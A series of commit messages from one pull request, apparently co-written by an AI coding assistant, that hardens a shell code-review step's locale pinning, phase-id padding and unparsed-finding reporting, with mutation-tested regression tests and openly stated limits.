- unpin the four `awk` selectors  -> 3 red, incl. the new invariant test naming both lines
- revert the mirror block boundary to `\s`/`\S` -> both `findings:` opener tests red

241/241 across the two pipeline files. `npm run lint:ci` exits 0 — after it caught a real
defect in the new test itself: `split('\n')` on readFileSync content is banned here
(DEFECT.WINDOWS-CRLF-TEST-PORTABILITY), and it now uses `splitLines()`.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* test(#3829): make the pin invariant see calls that are not piped

The invariant added in the previous commit keyed on `| grep|sed|awk`, which is true of
every call in the step today and is exactly the wrong thing to rely on. A guard written
around the shapes that happen to exist cannot see the shape a later edit introduces —
`awk '...' < "$f"` or `$(grep ...)` would have walked straight past it, which is the same
property that let the two awk selectors sit unpinned through a commit claiming the parser
was locale-independent.

It now blanks the PINNED calls and treats anything still naming one of the three tools on
a non-comment line as an offender, so the check is "every call is pinned" rather than
"every piped call is pinned". Comment lines stay exempt: the step's prose names unpinned
forms while explaining why they were retired.

Driven both ways against the invariant alone:
- inject a NON-PIPED unpinned `awk '...' < "$REVIEW_FILE"` -> reds (the old form did not)
- unpin the four piped `awk` selectors                     -> still reds (no regression)
- unmodified tree                                          -> green

241/241 across the two pipeline files, `npm run lint:ci` exits 0. No shipped behaviour
changes in this commit; it only widens what the test can see.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* test(#3829): close the invariant's path-qualified hole, and state the limit it keeps

A seventh adversarial pass. It confirmed the shipped fix — census clean at 24 pinned calls,
whole-fence output identical under C and C.UTF-8 on every input built to separate them, and
both fences byte-identical on a well-formed review carrying `café 東京` and `naïve résumé` —
and then refuted the claim I made about the GUARD, not the feature.

`/usr/bin/awk '/[[:space:]]/{exit}' < "$REVIEW_FILE"` passed the invariant. The preceding-
character class shielded any match preceded by `/` or `.`, so a path-qualified call was
invisible. A path-qualified call is still a call; the class no longer shields either. The
substrings that motivated the exclusion are unaffected — `parsed`, `passed` and `awkward`
have a word character on one side or the other, so the boundary still rejects them.

**The rest of that finding is disclosed rather than fixed, deliberately.** `$AWK "$f"` and a
command name computed inside the embedded `node -e` block also evade the check, and they are
not closable by this mechanism: it scans text, not shell or JavaScript command structure. The
same pass that found them showed that widening the regex further only trades those false
negatives for false positives on quoted strings and awk program text. So the test now STATES
its boundary instead of implying it has none — the previous comment claimed a census "a future
edit cannot fool", which was exactly the kind of overclaim this round has been correcting.
What it catches is enumerated there, driven, along with which direction its false answers go.

Driven against the invariant alone, each mutation reporting its own substitution count:
- `/usr/bin/awk ... < "$f"` (the exact evasion) -> reds; before this commit it did NOT
- `env awk ... < "$f"`                          -> reds
- `LC_ALL=C.UTF-8 awk ... < "$f"` (wrong pin)   -> reds
- unmodified tree                               -> green

241/241 across the two pipeline files, `npm run lint:ci` exits 0. No shipped behaviour changes
in this commit.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* test(#3829): stop the guard's comment promising a closed list of what it misses

An eighth adversarial pass. It confirmed the delta was test-only and that both fences are
byte-identical across it — exit, stdout, stderr and rendered ledger — and then refuted the
comment again, with two more evasions: a command name fragmented in shell (`a''wk`), and an
executable command substitution on a physical line starting with `#` inside a multiline
quoted argument, which the comment exemption skips.

Both are real. Neither is the point. Three passes running have each found one more evasion of
a TEXT scan, which is the actual finding: **the list cannot be closed.** A comment that
enumerates residuals is false the moment someone is cleverer than the enumeration, and fixing
it by appending the newest example just resets the clock.

So the comment no longer claims an inventory. It says what this is — a regression guard against
the accident that has now happened twice in this round, a read added or edited without its pin
in a file where every other read has one — and what it is not: a proof. The examples are marked
as illustrations. The operative instruction is the one that survives any future evasion: treat
anything it reports as real, and never treat its silence as proof a new read is pinned.

No logic changed; the guard catches exactly what it caught before. 241/241 across the two
pipeline files.

`npm run lint:ci` exits 0 — after it caught this commit twice over, which is worth recording
because both were in prose I had just written to be careful:
- the previous message's example path `docs/grep.md` read as a genuine docs reference from this
  file, and lint-docs-guard-registration demanded a baseline entry for a path that does not
  exist. The illustration is now `bin/grep-wrapper`, and the reason is stated inline.
- an earlier commit's `split('\n')` on readFileSync content tripped the CRLF-portability rule.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* test(#3829): the guard's two directions are not symmetric, so stop saying they are

A ninth adversarial pass. It confirmed the delta before it was comment-only with the guard's
logic byte-identical, and that all six advertised forms are still caught — and then found the
one absolute the rewrite left behind.

The comment said "treat anything this guard reports as real" three lines above admitting the
guard produces loud false positives. Driven: `echo ok # grep is discussed` is reported, and
labelled `(unpinned)`, though it is prose and no unpinned read exists. Both sentences were
mine, in the same comment, written in the same edit that was supposed to remove overclaiming.

The instruction is now the accurate one, which is that the two directions are NOT symmetric:
a REPORT is cheap to adjudicate — read the line, a trailing comment or a path is obvious — while
SILENCE proves nothing, because the known evasions are silent and so is any evasion nobody has
thought of yet. Investigate every report; never read silence as proof a new read is pinned.

Comment-only. Guard logic untouched, `gsd-core/` byte-identical to cac648aab — three consecutive
passes have now confirmed the shipped behaviour unchanged. 241/241 across the two pipeline files,
`npm run lint:ci` exits 0.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* test(#3829): a report needs its context to adjudicate, not just its own line

A tenth adversarial pass, and the last one this round runs. It confirmed `gsd-core/` is the
SAME TREE OBJECT as at cac648aab (105b5ed9b) with the guard's caught and silent sets unchanged,
and refuted one more sentence of the same comment.

"A report is cheap to adjudicate (read the line)" is false, driven: the identical reported
physical line `  grep` is a COMMAND after `:` and an ARGUMENT after `printf '%s\n' \`. The guard
reports both, and the reported line alone does not distinguish them — the preceding line is what
settles it. The comment now says so, with that counterexample in it.

This is the fourth consecutive pass to find a defect in this one comment and none in the shipped
code, which is itself the result worth recording: the shipped fix has been frozen since cac648aab
and confirmed byte-identical by four passes, while the prose describing a best-effort text scanner
took four attempts to stop overclaiming. Writing an accurate description of what a heuristic does
NOT do turns out to be harder than the heuristic.

Comment-only; guard logic untouched. 241/241 across the two pipeline files, `npm run lint:ci`
exits 0.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* test(#3829): re-home the lookup's phase-id gate beside the step, not in a block upstream removed

#4781 (#4628) removed #4748's letter-axis work from `tests/nsegment-phase-grammar.test.cjs`,
including the `#4748 — the REVIEW.md lookup` describe block. This PR had four tests living in
that block, because that is where the gate was when #3829 moved the lookup out of
`execute-phase.md` and into the lazily-read step file.

Those four tests assert properties of THIS PR's step file, not of #4748's sites. Rebasing onto
the removal would have deleted them silently — the branch would still be green, with its own
coverage quietly gone. They move here instead, unchanged in substance, beside the step they
guard: an unrelated upstream revert can no longer take this PR's coverage with it.

One assertion did NOT come along. The old block also checked that `execute-phase.md`'s init
parse list names `padded_phase`; #4781 removed that field from the list, and the assertion is a
property of #4748's site rather than of this step. Carrying it here would only have pinned
someone else's revert to this PR.

The step never depended on that field in the first place — it computes PADDED itself, validating
PHASE_NUMBER for shape and traversal and padding the digit run through `10#` while carrying an
optional letter verbatim. That self-containment is why the removal costs this PR nothing but the
tests' address.

5 pass, 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* chore(#3829): regenerate the derived artifacts the round-12 rebase invalidated

The base moved from 092d9256b to 003d982c8 (six merges) while this round was in flight, so the
branch was rebased and the derived state had to be re-derived rather than hand-merged.

`platform-conformance-tier.generated.cjs` regains `tests/configured-entrypoint-validation.test.cjs`,
added upstream by #4249. Resolving the conflict hunk-by-hunk in favour of this branch had dropped
that entry; `lint:generated-sync` caught it, which is what that check is for.

`compact-content-benchmark-baseline.json` carries the measured values at the new base rather than
this branch's stale pair: split "execute-phase" off 26200 -> 26242, on 23949 -> 23952
(8.59% -> 8.73%); aggregate off 108243 -> 108285, on 91595 -> 91598 (15.38% -> 15.41%). The
benchmark reports drift and exits 0 either way, so a stale baseline does not announce itself here
— it announces itself in CI.

**The growth acknowledgment is back, and the reason is worth stating.** Against the previous base
this PR left `execute-phase.md` a net -103 bytes: the extraction removed more than the dispatch
paragraph added, so the file ended up smaller than the base's copy and the
`Emitted-Drift-Ack-Growth` trailer became false and was dropped. #4781 then rewrote that file
upstream, and against the new base the same extraction nets +36 bytes (93421 -> 93457) — which is
the figure this PR originally reported at round 2. The size delta was never a property of this
change alone; it is a property of this change against whichever base it sits on, and it has now
been both signs in one round. The trailer was restored then. Round 14 rebased onto `029acd915`, where #4830's
re-land moved `execute-phase.md` again and the same extraction is -103 once more
(93564 -> 93461), so the trailer is false a second time and this commit no longer
carries it. Third sign flip, same reason each time.

`lint:generated-sync` and `benchmark-compact-content --check` both clean afterwards.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01B9qJPShuor4FqtZSX25jks

* chore(#3829): regenerate derived artifacts after rebase onto next

The rebase onto `c9a5cc3e1` conflicted in the 19 install-tree goldens.
Those are generated, so they were resolved arbitrarily and regenerated
with their own producers (`npm run regen:derived`, then
`benchmark-compact-content.cjs --write`) rather than hand-merged — a clean
textual merge of a generated file attests the merge, never the content.

Reconciled per artifact against the base's own committed copy rather than
against the pre-regen tree, because the pre-regen tree is the arbitrary
resolution:

- every install-tree golden now differs from `c9a5cc3e1`'s copy by exactly
  one entry, `gsd-core/workflows/execute-phase/steps/code-review-disposition.md`,
  which is this PR's own new step file;
- the compact-content benchmark baseline by the `execute-phase` entry
  (offTokens 26184 -> 26167) and the aggregate that sums it.

`docs/INVENTORY-MANIFEST.json` was in the at-risk set but regenerated
byte-identical, so it carries no change here.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01RJPv9LNaPV3Cd3NCpfFKGb

* chore(#3829): regenerate derived artifacts after rebase onto 029acd915

The rebase onto current `next` conflicted in two generated files — the
compact-content benchmark baseline and the platform conformance tier. Both
were resolved arbitrarily and regenerated with their own producers
(`npm run regen:derived`, then `benchmark-compact-content.cjs --write`)
rather than hand-merged: a clean textual merge of a generated file attests
the merge, never the content.

Reconciled per artifact against the base's own committed copy rather than
against the pre-regen tree, because the pre-regen tree is the arbitrary
resolution. Every differing key belongs to a file this PR actually touches:

- `tests/fixtures/install-tree/claude.json` differs from `029acd915`'s copy
  by exactly one entry,
  `gsd-core/workflows/execute-phase/steps/code-review-disposition.md`, this
  PR's own new step file;
- `scripts/lib/platform-conformance-tier.generated.cjs` by exactly one
  entry, `tests/code-review-fix-pipeline-regression.test.cjs`, a test this
  PR adds;
- `tests/fixtures/compact-content-benchmark-baseline.json` by the
  `execute-phase` entry (offTokens 26344 -> 26280) and the aggregate that
  sums it, which this PR moves by editing `execute-phase.md`.

The other 18 install-tree goldens, `docs/FEATURES.md` and
`docs/INVENTORY-MANIFEST.json` were regenerated too and came back
byte-identical, so they carry no change here.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013nAJFVZcCZHtSgYmWM5WNP

* test(#3829): follow #4748's REVIEW.md-lookup gate to the step that now owns the lookup

Self-found while rebasing onto `029acd915`, not raised in review.

#4830 (`8a5166598c`) re-landed #4768's letter-suffix work on `next`, restoring the
`#4748 — execute-phase.md resolves the REVIEW.md path from init's padded_phase`
block in `tests/nsegment-phase-grammar.test.cjs`. That block had been removed by
#4781, which is why round 13 re-homed this PR's own four tests out of it. The
restored block anchors on a line this PR deletes:

    expected 1 line(s) containing "REVIEW_FILE=\"${PHASE_DIR}/${PADDED}-REVIEW.md\"", found 0

It fails at the describe level, so all four of its tests go with it. It was green
before this rebase only because the base did not carry the block yet.

Putting the line back is not available. #3829 moved the lookup into the lazily-read
step file because `execute-phase.md` did not fit under ADR-857's frozen pre-phase-6
ceiling (93600); the parent is at 93461, and the three lines this gate anchors on
cost 183 (measured, not computed: `git show 029acd915:... | sed -n '1168,1170p' | wc -c`). The block would also be dead code — the step performs the lookup.

So the gate follows the lookup. Two of its four assertions are properties of the
lookup and are re-pointed at the step file: that no fence hands PHASE_NUMBER to
`printf "%02d"`, and that both lookups are preceded by a PADDED binding that pads
the digit run through `10#` and carries the letter verbatim. The regression control
on the lookup line itself comes along, now over both fences. The init-parse-list
assertion stays on `execute-phase.md`, which still names `padded_phase`.

Two assertions do NOT come along, and they are the two that were properties of the
INLINE site rather than of the lookup: the `PADDED="{padded_phase}"` literal binding
(the step derives PADDED itself, validating PHASE_NUMBER for shape and traversal
first), and the composition run over the three live lines. The step's executable
coverage — a composition run plus a padding-agrees-with-the-canonical-normalizer
matrix over letter ids — already exists in `tests/code-review-pipeline-regression.test.cjs`
under "#3829 — the step's REVIEW.md lookup resolves a letter-suffixed phase without
a shell re-pad". Mirroring it here would be a second implementation of one grammar.

That coverage is NOT equivalent, and the difference is worth stating rather than glossing. At its
original site #4748's gate was a DATAFLOW pin: `execute-phase.md` bound init's own
`{padded_phase}`, so the lookup could not disagree with the canonical normalizer because it never
computed anything. The step reconstructs the value in shell, so that pin is not available at this
address and AGREEMENT with the normalizer is what replaces it. A follow-on commit adds a
fast-check property asserting that agreement over generated ids, because the existing 13-shape
matrix samples 2 of 26 letters and cannot see a divergence outside its own points.

One consequence is disclosed rather than absorbed: `padded_phase` is now parsed but unused in
`execute-phase.md` (`:95`). Removing it from that parse list is #4830's call on its own site, not
this PR's, so the assertion that it is still named stays.

#4748's property is unchanged: a letter-suffixed phase resolves its own REVIEW.md,
and an already-padded `08` does not read as octal.

Negative-controlled rather than asserted. Against the shipped step: 162 pass, 0 fail.
Dropping `$_let` from both PADDED bindings reds "every lookup is preceded by a PADDED
binding that carries the letter run"; dropping `10#` reds it too. The step file was
restored byte-identical after each control.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013nAJFVZcCZHtSgYmWM5WNP

* test(#3829): assert the step's padding against the canonical normalizer by property, not by 13 points

From this round's own pre-push adversarial review, not from the maintainer's.

The prior commit re-points #4748's REVIEW.md-lookup gate at the step that now owns the lookup. The
review's finding was that this is not coverage-equivalent, and it is right: at the original site the
gate was a DATAFLOW pin — `execute-phase.md` bound init's own `{padded_phase}`, so the lookup could
not disagree with the canonical normalizer because it never computed anything. The step reconstructs
the value in shell, so agreement with the normalizer is what has to replace the pin.

That agreement was already asserted, but over a 13-shape matrix. Its words: "future canonical
grammar changes could therefore diverge without this gate detecting them." Correct — the matrix
samples 2 of 26 letters and a bounded set of segment shapes, and this PR has twice been told that a
generator which cannot reach the interesting input is a fixture with extra steps (round 3's
SOURCE_CELL, round 5's title generator). Same defect, third address.

So the agreement is now a property over generated ids: a digit run inside the step's own 8-digit
bound, an optional single A-Z, and up to two dot segments, asserted equal to
`normalizePhaseName(id)` through the shipped shell derivation of BOTH fences. Milestone `N-N` forms
are outside the step's accepted domain and are asserted nowhere here rather than silently passed.

Negative-controlled on two mutations, and the second is the one that justifies the property rather
than the matrix:

  %02d -> %03d                      matrix RED,   property RED
  drop the letter when outside {A,B} matrix GREEN, property RED

The second is the added coverage, demonstrated rather than argued: the matrix is structurally
unable to reach a letter it does not enumerate. The step file was restored byte-identical after
each control.

numRuns is 25 — each case spawns bash twice through the process seam, once per fence.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013nAJFVZcCZHtSgYmWM5WNP

* fix(#3829): pad the phase id as a string, so the step agrees with the canonical normalizer

Found by the property the previous commit added, on its second adversarial pass. This is a real
divergence in shipped behaviour, not a test-only correction.

`normalizePhaseName` (src/init.cts, via gsd-core/bin/lib/phase-id.cjs) left-pads a phase id's digit
run to a MINIMUM of two and otherwise PRESERVES it — `padStart(2, '0')`. The step re-derived the same
value arithmetically, `printf "%02d" "$((10#$_dig))"`, which does not preserve: it collapses every
leading-zero run longer than two.

  id          normalizePhaseName   the step (before)
  8           08                   08
  08          08                   08
  008         008                  08     <-- diverges
  0008        0008                 08     <-- diverges
  00000008    00000008             08     <-- diverges
  0008A       0008A                08A    <-- diverges

Consequence: for such an id the gate resolves `08-REVIEW.md` while init emits `008-REVIEW.md`, so it
finds no review and says so — advisory, and therefore silent. That is the failure class #4748 exists
to close, reached by a different road: not a letter this time, but a leading-zero run.

The fix is a string pad that implements `padStart(2, '0')` exactly, at both fences:

  case "${#_dig}" in 1) PADDED="0${_dig}${_let}${_sub}" ;; *) PADDED="${_dig}${_let}${_sub}" ;; esac

It is strictly less machinery than what it replaces. `10#` existed only to stop bash reading a
leading zero as octal inside `$(( ))`; with no arithmetic there is no octal hazard to guard, so the
remedy is retired rather than kept. `scripts/lint-phase-id-drift.cjs` — which exists to flag
unsanctioned `printf "%02d"` re-pads of phase-carrying variables — is green, and now has one less
re-pad to tolerate.

Two dependent assertions move with it, and both are now stated as the PROPERTY rather than as one
spelling of the remedy: the round-14 gate in `tests/nsegment-phase-grammar.test.cjs` asserts the
binding does no arithmetic and carries both `${_dig}` and `${_let}`, and the regression pin in
`tests/code-review-pipeline-regression.test.cjs` follows the new form.

The property's generator is widened in the same commit, because its first cut could not have found
this: it built the digit run with `String(fc.integer(...))`, which can never produce a leading zero,
so it had silently LOST the `08`/`09` coverage the 13-shape matrix beside it already had. The run is
now generated as a digit string, and segment depth goes to four (the repo exercises `1.2.3.4`). The
step's grammar is unbounded in depth; four is a stated bound, and it is this property's residual.

Negative-controlled, and the matrix is the control's control — it stays GREEN on both:

  revert to the arithmetic pad          matrix GREEN, property RED
  drop the letter when outside {A,B}    matrix GREEN, property RED

The step file was restored byte-identical after each. 407 pass / 0 fail across both test files;
lint:ci, gen-features --check, gen-platform-conformance-tier --check, benchmark-compact-content
--check and gen-install-tree-fixtures all clean, with no regenerated artifact moving.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013nAJFVZcCZHtSgYmWM5WNP

* test(#3829): hold #4748's gate by execution, and retire the comments the string pad made false

Third adversarial pass on this round. Two findings, both fair, neither a correctness defect.

FIRST — the gate pinned a SPELLING, not the property. Its objection was concrete: an equivalent
multi-line string pad would have failed a regex that matches one `case ... esac` line. That is a
false-positive generator, and a guard that false-fires is a guard that gets deleted.

The split is now honest about what each layer can hold. A STATIC gate can hold the DEFECT SHAPE —
no arithmetic in the binding above each lookup — and that is all it asserts. Correctness is held by
EXECUTION: the base gate regains a composition test that runs the shipped derivation slice of both
fences against `normalizePhaseName`, over `3A 8 9 08 008 0008A 23A.1.2`.

That composition test is the one I removed two commits ago, and removing it was the weaker call. At
#4748's ORIGINAL site the gate could be static because the property was a literal binding of init's
own `{padded_phase}`; nothing could disagree, because nothing computed. At this site the step
derives the value, so the property is behavioural and only execution holds it. `008` is in the list
because it is the case the arithmetic pad got wrong and no prior fixture covered.

Controlled three ways, and the middle one is the finding being answered:

  arithmetic pad restored            4 fail   caught
  EQUIVALENT multi-line string pad   0 fail   no false positive
  drop the letter outside {A,B}      1 fail   semantic drift caught

SECOND — the step carried comments the fix had made false, in four places. Two explained `10#` as
part of the live phase derivation; two justified the eight-digit bound by bash integer overflow.
Neither described the code any more. They are rewritten to current truth rather than annotated,
because a fragment carries no supersession marker and overturned prose reads as canon:

  - the octal rationale now says the pad performs no arithmetic and needs no `10#`, and notes that
    `10#` survives in this step only on the severity COUNTS, which really are numbers being added;
  - the length bound now states that overflow is unreachable since the pad stopped converting, and
    that the bound stays for the reason it always also had — every component is interpolated into a
    filename, and filesystem components are finite.

408 pass / 0 fail across both files. lint:ci, lint-phase-id-drift, gen-features --check,
gen-platform-conformance-tier --check, benchmark-compact-content --check and the
prompt-injection-scan security suite are all clean, and no regenerated artifact moved.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013nAJFVZcCZHtSgYmWM5WNP

* docs(#3829): correct four comments, including one this round's own rewrite got wrong

Fourth adversarial pass. Comment-only; no code, no test logic, no regenerated artifact moves.

ONE OF THESE IS MY OWN ERROR, introduced two commits ago. Rewriting the length-bound rationale, I
replaced the dead integer-overflow justification with "the bound stays because every component is
interpolated into a filename and filesystem components are finite". That is false, and it was driven
false: the bound is PER SEGMENT, every segment is joined into ONE filename component, and depth is
unbounded. Thirty 8-digit segments yield a 278-character PADDED and a 294-character name against a
NAME_MAX of 255. Replacing a dead rationale with a wrong one is worse than leaving the dead one, so
the comment now states what the bound actually does and names the composite-length gap as a residual
of this validator that predates the pad change. It is not fixed here; it is stated.

The other three are stale rather than wrong:

- `overflow guard` named the length check in two places. Nothing overflows any more -- the pad does
  no arithmetic -- so it is the digit bound, and is called that.
- The `#4748` block header in `tests/nsegment-phase-grammar.test.cjs` still said the step pads
  through `10#`, still said the composition run did not survive the move, and still said the
  executable coverage was "cited rather than copied" -- while the composition test sat twenty lines
  below it. All three were true when written and none survived this round. The header now records
  why a STATIC assertion cannot hold a BEHAVIOURAL property, and that the PR's fast-check property
  is a different instrument over the same contract rather than the same test twice.
- The severity-count comment said a base-inference failure "takes the whole advisory step down under
  `set -e`". It does not: the arithmetic sits inside an `if` condition, a TESTED context, where
  `set -e` is inert, and the consistency check is SKIPPED instead -- which the regression suite
  already records. `10#` stays; only the account of what it prevents is corrected. This one predates
  the round and is corrected because it is adjacent and factually wrong, not because it blocked
  anything.

408 pass / 0 fail across both files; lint:ci, lint-phase-id-drift, gen-features --check,
benchmark-compact-content --check and the prompt-injection-scan security suite all clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_013nAJFVZcCZHtSgYmWM5WNP

* chore(#3829): regenerate the compact-content benchmark baseline after the rebase onto fac0e9de8

The rebase onto current `next` conflicted on this generated fixture, as it has in every
recent round: the base regenerates it for its own token deltas and this branch regenerates
it for `execute-phase.md`'s, so both sides rewrite the same keys. Resolved arbitrarily
during the replay and regenerated with its own producer
(`scripts/benchmark-compact-content.cjs --write`), never hand-merged.

Key-level drift against the base's committed copy is exactly two entries and both are this
PR's own: `splits.execute-phase` (the workflow this PR edits) and `aggregate`, which is the
sum over the splits and therefore moves whenever any split does. Zero foreign keys moved.

The full generator sweep was re-run after the replay -- gen-features, gen-inventory-manifest,
gen-platform-conformance-tier (both targets), gen-install-tree-fixtures and the benchmark --
and this fixture is the only artifact that moved.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V5xnzzipRHPHq8Z3doQvn3

* chore(#3829): regenerate the compact-content benchmark baseline after the rebase onto b956bb7c6

`next` moved again while this round was running -- #4902 landed at 06:27Z and touches this same
generated fixture -- so the branch went back to CONFLICTING within minutes of the previous push.
This is the second rebase of the round, not a correction of the first.

Resolved arbitrarily during the replay and regenerated with its own producer
(`scripts/benchmark-compact-content.cjs --write`), never hand-merged. Key-level drift against the
new base's committed copy is again exactly `splits.execute-phase` and `aggregate` (the sum over
splits) -- zero foreign keys.

The full generator sweep was re-run after this replay as well; this fixture is the only artifact
that moved. Build inputs were untouched by the base range, so the lane's existing build stands.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V5xnzzipRHPHq8Z3doQvn3

* fix(#3829): refresh the launcher preamble in place, without hoisting it above the guard

Found by this round's own post-rebase validity gate, not by review: a reader flip-test over the 85
tests that read the two at-risk workflow files was clean before the replay and failed after it, on
`runtime-launcher-parity (#373)` invariant (B).

The cause is a real interaction. #4902 landed on `next` mid-round and rewrote the canonical launcher
preamble; invariant (B) counts occurrences of that exact snippet, so this step's older copy matched
zero times even though it sat in the right place. The remedy the invariant names --
`node scripts/sync-runtime-launcher.cjs` -- fixes the count but also HOISTS the preamble to the top
of the block, and that is wrong here: it moved the shim ahead of the status guard, and six of this
PR's own tests exist to pin that ordering (`runDispositionGuard` asserts the block opens with its
guard, then the shim). Running the tool verbatim turned one red into seven.

So the preamble text is refreshed to the current canonical snippet IN PLACE, at the offset it
already occupied. Both constraints hold at once, verified by execution rather than by reading:
invariant (B) sees exactly one canonical occurrence and it precedes the first `gsd_run` call, while
the guard still opens the block (shim at offset 19897 of the second fence, and the test wants > 0).
`runtime-launcher-parity` + `code-review-pipeline-regression` together: 282 tests, 281 pass.

Not fixed here, and not ours: `(K2) end-to-end: the resolved local tool honors
git.allow_default_branch_commits (#4834)` -- the one remaining failure -- fails identically on a
detached worktree at pristine `b956bb7c6` carrying none of this PR's content (37 tests, 36 pass,
same single failure). Reported rather than chased.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V5xnzzipRHPHq8Z3doQvn3

* fix(#3829): record the shortfall when NO finding in a review parses

Found by this round's own pre-push adversarial review, not by the maintainer -- and it is the
same defect class round 2 raised as Blocker 4, surviving in the one corner that round's fix did
not reach.

The unparsed reconciliation exists so a finding the CR|BL|WR|IN heading parser cannot match is
SURFACED rather than dropped. It reported faithfully whenever SOME findings parsed. It reported
nothing at all when NONE did, on a phase with no prior ledger and no fix report: a REVIEW.md
declaring two Criticals, both written under a prefix the alternation does not carry, produced no
ledger, no console line and no diagnostic. That is precisely the silent drop this reconciliation
was added to close, reachable exactly where the evidence is weakest -- the run in which not one
finding was understood.

Two exits discarded it, and the first one is the one that actually fired. The shortfall was
derived beside the render, while the exit that stands down for "nothing to record" keys on
order.length and sits ~200 lines earlier; it returned before the value existed. The later
rows.length exit had the same hole but was unreachable for this input. So the derivation moves
above the earlier exit -- order is final from the heading walk and never grows again, so the value
is unchanged -- and both exits now decline to fire while a shortfall is outstanding. The result is
a zero-row ledger carrying an unparsed key: an honest record that the review declared findings and
none of them were understood, which is strictly better than the file not existing.

Scoped, not removed. A genuinely clean review is untouched: a declared total of 0 is not greater
than order.length, so unparsed is 0 and both returns still fire exactly as before. The new test's
companion pins that, and it is why the exit was relaxed conditionally rather than deleted.

Driven at every step rather than reasoned about. Before the fix, three cases through the shipped
script: two unmatched findings on a first run wrote NOTHING; two unmatched plus one matched
reported unparsed: 1; two unmatched against an existing ledger reported unparsed: 2. Only the
first was silent, which is why the mechanism read as covered. After the fix the first renders a
ledger with unparsed: 2 and names it on the console, and the other two are byte-unchanged.

The new regression test was negative-controlled against the pre-fix step file and goes red there
(1 pass / 1 fail over the pair); post-fix both pass. Its companion clean-review control is green
on both sides, so the pair is not passing by accident.

The PR's six test files: 554 tests, 554 pass, 0 fail, 0 skipped. lint:ci exits 0. The generator
sweep still produces no drift.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SfaJkgoq87837ZqWtTxqqn

* test(#3829): pin the SECOND exit that discarded the shortfall, and prove the pair kills it

Self-found by the round review of the previous commit, not by the maintainer: that commit added
the !unparsed conjunct to BOTH exits but tested only one of them. Deleting the later one left
every new test green -- a surviving mutant, which is coverage in name only.

The two exits are reached by different inputs, which is why one fixture cannot pin both. The
earlier exit stands down the moment a fix report exists, so an input carrying one sails past it
and lands on the later rows.length return. The fixture therefore needs a fix report that
contributes NO row: an id the alternation CAN match becomes a carried row, rows.length is 1, and
the later guard never decides. The first draft of this test used CR-99 and was vacuous for exactly
that reason -- it passed with the guard deleted. It names SEC-03 now.

Mutation-controlled in all three directions, since a test that kills no mutant pins nothing:

  earlier exit loses !unparsed   -> test 1 RED,  test 2 green, test 3 green
  later exit loses !unparsed     -> test 1 RED,  test 2 RED,   test 3 green
  both exits neutered (over-fire)-> test 1 green,test 2 green, test 3 RED
  unmutated                      -> all three green

Every test kills at least one mutant and no mutant survives all three, so the pair covers both
roads to the drop and the clean-review control covers the over-fire the relaxation could have
introduced.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SfaJkgoq87837ZqWtTxqqn

* test(#3829): close the fourth cell — the later exit's own over-fire

Self-found again by the round review, which drove the mutant set rather than trusting the matrix
the previous commit asserted: neutering ONLY the later exit survived all three tests. The previous
commit's matrix was accurate and incomplete, which is the more dangerous shape -- it reads as a
closed argument.

The guards form a 2x2 and only three cells were pinned. T1 pins the earlier exit's under-fire, T2
the later exit's under-fire, T3 the earlier exit's over-fire. Nothing pinned the LATER exit's own
over-fire, and it is reachable: a fix report -- even one naming no matchable id -- makes the
earlier exit stand down, so control arrives at the later exit carrying a genuinely clean review and
no shortfall. Neuter that exit and a phase with nothing to report grows a zero-row ledger reading
"0 of 0 finding(s) open", with all three earlier tests green through it. T4 is that case.

Five mutants driven over the four tests:

  earlier exit loses !unparsed        -> T1 RED
  later exit loses !unparsed          -> T1 RED, T2 RED
  both exits -> if(false)             -> T3 RED, T4 RED
  ONLY later exit -> if(false)        -> T4 RED          (the survivor this commit kills)
  ONLY earlier exit -> if(false)      -> all four green

The last one is reported as an EQUIVALENT mutant rather than an open cell, and the distinction is
the point of stating it: the earlier exit's over-fire condition is a strict subset of the later
exit's -- it adds only fixReports.length === 0 -- so removing it is subsumed and changes no
observable behaviour. A test cannot kill a mutant that does not alter output, and pretending
otherwise would mean writing one that asserts on internals.

The PR's six test files: 556 tests, 556 pass, 0 fail, 0 skipped. lint:ci exits 0.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SfaJkgoq87837ZqWtTxqqn

